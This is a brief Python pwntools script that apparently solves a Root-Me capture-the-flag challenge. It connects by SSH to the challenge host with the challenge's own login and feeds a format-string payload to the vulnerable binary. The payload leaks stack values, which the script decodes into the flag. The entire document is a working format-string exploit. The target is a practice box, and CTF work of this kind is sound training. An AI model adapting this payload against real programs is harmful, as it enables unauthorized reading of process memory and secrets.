from pwn import *

ssh = ssh("app-systeme-ch5", "challenge02.root-me.org", 2222, "app-systeme-ch5")
proc = ssh.process(["./ch5", b"%11$08x%12$08x%13$08x%14$08hhx"])

buf = proc.recv()

flag  = p32(int(buf[ 0: 8], 16))
flag += p32(int(buf[ 8:16], 16))
flag += p32(int(buf[16:24], 16))
flag += p32(int(buf[24:32], 16))

flag = flag[:-3].decode()
log.success(f"{flag = }")
